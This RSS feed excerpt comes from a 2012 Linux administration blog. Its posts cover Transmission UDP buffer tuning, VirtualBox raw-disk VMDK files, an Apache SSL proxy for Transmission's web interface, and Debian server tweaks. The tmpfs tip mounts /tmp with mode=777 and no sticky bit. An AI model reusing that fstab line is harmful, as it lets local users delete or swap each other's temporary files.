<li><a href="http://falkhusemann.de/blog/2010/04/icmp-antworten-falschen/">Netzwerksicherheit</a></li>
<li><a href="http://falkhusemann.de/blog/2012/07/backtrack-tools-teil-1-pbnj/">Penetrationstests</a></li>
<li><a href="http://falkhusemann.de/blog/2012/06/dns-query-limits-mit-iptables-und-burstrate/">Linux</a></li>
</ul>
<p>Und wie man aus Servern mit teilweise ausgefallenen Mitteln den Maximaldurchsatz herauskitzeln kann. Besonders wichtig ist mir der praktische Nutzen dessen, was ich beschreibe. </p>
<p>Über einen <a href="http://falkhusemann.de">Besuch</a> und ganz besonders Kommentare und Feedback oder Anregungen würde ich mich sehr freuen. Genauso über Themenvorschläge oder Fragen, auch gern hier über das Ubuntuusers Nachrichtensystem oder <a href="mailto:syn@paketsequenz.de">per E-Mail</a>.</p>
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		</item>
		<item>
		<title>SECDOCS Webverzeichnis für Sicherheits Präsentationen, Artikel und Videos</title>
		<link>http://falkhusemann.de/blog/2012/07/secdocs-webverzeichnis-fur-sicherheits-prasentationen-artikel-und-videos/</link>
		<comments>http://falkhusemann.de/blog/2012/07/secdocs-webverzeichnis-fur-sicherheits-prasentationen-artikel-und-videos/#comments</comments>
		<pubDate>Sun, 29 Jul 2012 14:06:31 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[sicherheit]]></category>

		<guid isPermaLink="false">http://falkhusemann.de/blog/?p=1741</guid>
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<p>Nicht oft findet man Webseiten, die so viele und so fundierte Vorträge, Präsentationen und Videos zu Themen der IT-Sicherheit, Penetrationstests und sicherer Entwicklung bieten. SECDOCS ist hier eine sehr positive Ausnahme, die jedem nur empfohlen werden kann. Zu finden hier:</p>
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		<title>Transmission uTP and UDP buffer optimizations</title>
		<link>http://falkhusemann.de/blog/2012/07/transmission-utp-and-udp-buffer-optimizations/</link>
		<comments>http://falkhusemann.de/blog/2012/07/transmission-utp-and-udp-buffer-optimizations/#comments</comments>
		<pubDate>Fri, 27 Jul 2012 16:41:22 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Maximaldurchsatz]]></category>
		<category><![CDATA[Transmission (English)]]></category>
		<category><![CDATA[fileserver]]></category>
		<category><![CDATA[transmission]]></category>

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<pre class="brush: plain; title: Quelltext; notranslate">
[17:42:40.319] UDP Failed to set receive buffer: requested 4194304, got 262142 (tr-udp.c:75)
[17:42:40.319] UDP Please add the line &quot;net.core.rmem_max = 4194304&quot; to /etc/sysctl.conf (tr-udp.c:80)
[17:42:40.319] UDP Failed to set send buffer: requested 1048576, got 262142 (tr-udp.c:86)
[17:42:40.319] UDP Please add the line &quot;net.core.wmem_max = 1048576&quot; to /etc/sysctl.conf (tr-udp.c:91)
</pre>
<p>This message tries to tell us, that for some reason, Transmission would like to have 4 Megabytes of receive buffer and 1 Megabyte send buffer for it&#8217;s UDP socket. It turns out that the support for uTP, the <a href="http://www.bittorrent.org/beps/bep_0029.html">uTorrent transport protocol</a>, is implemented using a single socket.</p>
<p><strong>By tuning the two variables, higher throughput can be achieved more easily using uTP.</strong></p>
<p>Here is the relevant part from the <a href="https://trac.transmissionbt.com/changeset/11956">changeset</a>:</p>
<blockquote><p>Since we&#8217;re using a single UDP socket to implement multiple uTP sockets,<br />
and since we&#8217;re not always timely in servicing an incoming UDP packet,<br />
it&#8217;s important to use a large receive buffer. The send buffer is probably<br />
less critical, we increase it nonetheless.</p></blockquote>
<p>Four Megabyte might seem huge for embedded clients, but running behind a fast dedicated connection, it might even be too small when Transmission has to handle hundreds of connections. I recommend to use 16 Megabyte for receive buffering and 4 for the send buffer. That is, because uTP implements a retransmission algorithm and <a href="https://trac.transmissionbt.com/ticket/4321">by scaling up the buffers we achieve less retransmits</a> because of dropped datagrams. Let&#8217;s set it up that way.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
echo 'net.core.rmem_max = 16777216' &gt;&gt; /etc/sysctl.conf
echo 'net.core.wmem_max = 4194304' &gt;&gt; /etc/sysctl.conf
sysctl -p
</pre>
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</ol>
<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></content:encoded>
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		<title>Virtualbox Raw Disks direkt verwenden</title>
		<link>http://falkhusemann.de/blog/2012/07/virtualbox-raw-disks-direkt-verwenden/</link>
		<comments>http://falkhusemann.de/blog/2012/07/virtualbox-raw-disks-direkt-verwenden/#comments</comments>
		<pubDate>Thu, 26 Jul 2012 16:00:39 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>

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		<description><![CDATA[Physikalische Laufwerke wie Festplatten, einzelne Partitionen oder LVM Volumes können auch mit Virtualbox über einen kleinen Umweg verwendet werden. Dafür muss, wie im folgenden Beispiel dargestelt, eine VMDK-Datei erstellt werden. Diese enthält den Verweis auf das physikalische Laufwerk. Wie einzelne oder mehrere Partitionen mittels VMDK-Dateien in Virtualbox eingebunden werden können, verrät das VirtualBox Handbuch in [...]<div class='yarpp-related-rss'>

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</ol>
<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p><a href="http://falkhusemann.de/blog/wp-content/uploads/2012/07/virtualbox.png"><img src="http://falkhusemann.de/blog/wp-content/uploads/2012/07/virtualbox.png" alt="" title="virtualbox" width="72" height="72" class="alignleft size-full wp-image-1717" /></a><br />
Physikalische Laufwerke wie Festplatten, einzelne Partitionen oder LVM Volumes können auch mit Virtualbox über einen kleinen Umweg verwendet werden. Dafür muss, wie im folgenden Beispiel dargestelt, eine <a href="http://en.wikipedia.org/wiki/VMDK">VMDK-Datei</a> erstellt werden. Diese enthält den Verweis auf das physikalische Laufwerk.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
VBoxManage internalcommands createrawvmdk -filename sda3_crypt.vmdk -rawdisk /dev/mapper/sda3_crypt
</pre>
<p>Wie einzelne oder mehrere Partitionen mittels <a href="http://en.wikipedia.org/wiki/VMDK">VMDK-Dateien</a> in Virtualbox eingebunden werden können, verrät das <a href="http://www.virtualbox.org/manual/ch09.html#rawdisk">VirtualBox Handbuch in Kapitel 9</a>.</p>
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</div>
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		<title>Transmission Webinterface mit Apache auf SSL umstellen</title>
		<link>http://falkhusemann.de/blog/2012/07/transmission-webinterface-mit-apache-auf-ssl-umstellen/</link>
		<comments>http://falkhusemann.de/blog/2012/07/transmission-webinterface-mit-apache-auf-ssl-umstellen/#comments</comments>
		<pubDate>Wed, 25 Jul 2012 20:51:34 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[Transmission (English)]]></category>

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		<description><![CDATA[Transmission BitTorrent bietet ein Webinterface auf einem konfigurierbaren Port mit Basic-Auth an. Was aber, wenn der Port nicht geöffnet werden soll, oder das Webinterface nur per SSL (HTTPS) erreichbar sein soll? Apache leistet wie folgt Schützenhilfe und stellt die Verschlüsselung sicher. Zuerst die benötigten Module aktivieren. Als nächstes ein Seiten Template für Transmission aus einer [...]<div class='yarpp-related-rss'>

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</div>
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				<content:encoded><![CDATA[<p><a href="http://www.transmissionbt.com/">Transmission BitTorrent</a> bietet ein Webinterface auf einem konfigurierbaren Port mit <a href="http://httpd.apache.org/docs/2.2/">Basic-Auth</a> an. Was aber, wenn der Port nicht geöffnet werden soll, oder das Webinterface nur per SSL (HTTPS) erreichbar sein soll? Apache leistet wie folgt Schützenhilfe und stellt die Verschlüsselung sicher.<br />
<span id="more-1705"></span><br />
Zuerst die benötigten Module aktivieren.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
a2enmod proxy
a2enmod proxy_http
a2enmod ssl
</pre>
<p>Als nächstes ein Seiten Template für Transmission aus einer Vorlage erzeugen.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
cd /etc/apache2/sites-available/
cp default-ssl transmission
nano transmission
</pre>
<p>Folgenden Block in den Konfigurationsblock beginnend mit <tt></tt> und <tt>t</tt> einfügen.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
        ProxyRequests Off
        &lt;Proxy *&gt;
                Order Allow,Deny
                Allow from all
        &lt;/Proxy&gt;

        ProxyPass /transmission http://127.0.0.1:9091/transmission
        ProxyPassReverse /transmission http://127.0.0.1:9091/transmission
</pre>
<p>Jetzt die IP-Adresse an der das Transmission Webinterface in der Konfigurationsdatei <tt>settings.json</tt> von Transmission anpassen.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
    &quot;rpc-bind-address&quot;: &quot;127.0.0.1&quot;,
</pre>
<p>Zuletzt muss die Seiten Vorlagen aktiviert werden und Apache einmal auf die geänderte Konfiguration hingewiesen werden.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
a2ensite transmission
apache2ctl restart
</pre>
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</div>
]]></content:encoded>
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		</item>
		<item>
		<title>OVH Debian from Scratch Hacks</title>
		<link>http://falkhusemann.de/blog/2012/07/ovh-debian-from-scratch-hacks/</link>
		<comments>http://falkhusemann.de/blog/2012/07/ovh-debian-from-scratch-hacks/#comments</comments>
		<pubDate>Tue, 24 Jul 2012 17:10:55 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[Uncategorized]]></category>

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		<description><![CDATA[A0. Grundsätzliches In diesem Artikel werden einige Erweiterungen für das Debian from Scratch HowTo gezeigt, die alle unabhängig voneinander sind. A1. Logdateien im Arbeitsspeicher Wer keine Logdateien auf seinem Server liegen haben möchte, aber trotzdem nicht komplett auf Syslog verzichten kann, installiert busybox-syslogd als Ersatz für den installierten Logserver. Nach der Installation können mit dem [...]<div class='yarpp-related-rss'>

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</ol>
<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></description>
				<content:encoded><![CDATA[<h2>A0. Grundsätzliches</h2>
<p>In diesem Artikel werden einige Erweiterungen für das <a href="http://falkhusemann.de/blog/2012/07/ovh-server-from-scratch-mit-debian-und-dm-crypt-verschlusselung/">Debian from Scratch HowTo</a> gezeigt, die alle unabhängig voneinander sind.</p>

<h2>A1. Logdateien im Arbeitsspeicher</h2>
<p>Wer keine Logdateien auf seinem Server liegen haben möchte, aber trotzdem nicht komplett auf Syslog verzichten kann, installiert <tt>busybox-syslogd</tt> als Ersatz für den installierten Logserver.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
aptitude install busybox-syslogd
</pre>
<p>Nach der Installation können mit dem Befehl <tt>logread</tt> die Nachrichten abgerufen werden.</p>
<h2>A2. Temporäre Dateien im Arbeitsspeicher</h2>
<p>Um die temporären Dateien im Arbeitsspeicher zu halten, kann ein <tt>tmpfs</tt> zum Einsatz kommen. Das sollte man allerdings nur tun, wenn ausreichend Arbeitsspeicher vorhanden ist.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
echo 'tmpfs /tmp tmpfs defaults,mode=777 0 0' &gt;&gt; /etc/fstab
mount -a
</pre>
<h2>A3. Neueren Kernel verwenden</h2>
<p>Um aktuelle Treiber und Optimierungen die seit Kernel Version <tt>2.6.32</tt> in die Entwicklung eingeflossen sind nutzen zu können, kann ein neuerer Kernel installiert werden. Das geht wie folgt.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
echo 'deb http://backports.debian.org/debian-backports squeeze-backports main' &gt;&gt; /etc/apt/sources.list &amp;&amp; apt-get update &amp;&amp; apt-get upgrade
apt-get install -t squeeze-backports linux-image-amd64
</pre>
<p>Einige Änderungen, die für das Debian from Scratch HowTo relevant sind:</p>
<ul>
<li>Mehrere Kerne für Verschlüsselung (2.6.34)</li>
<li>XFS Beschleunigung (2.6.35)</li>
</ul>
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</ol>
<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></content:encoded>
			<wfw:commentRss>http://falkhusemann.de/blog/2012/07/ovh-debian-from-scratch-hacks/feed/</wfw:commentRss>
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		</item>
	</channel>
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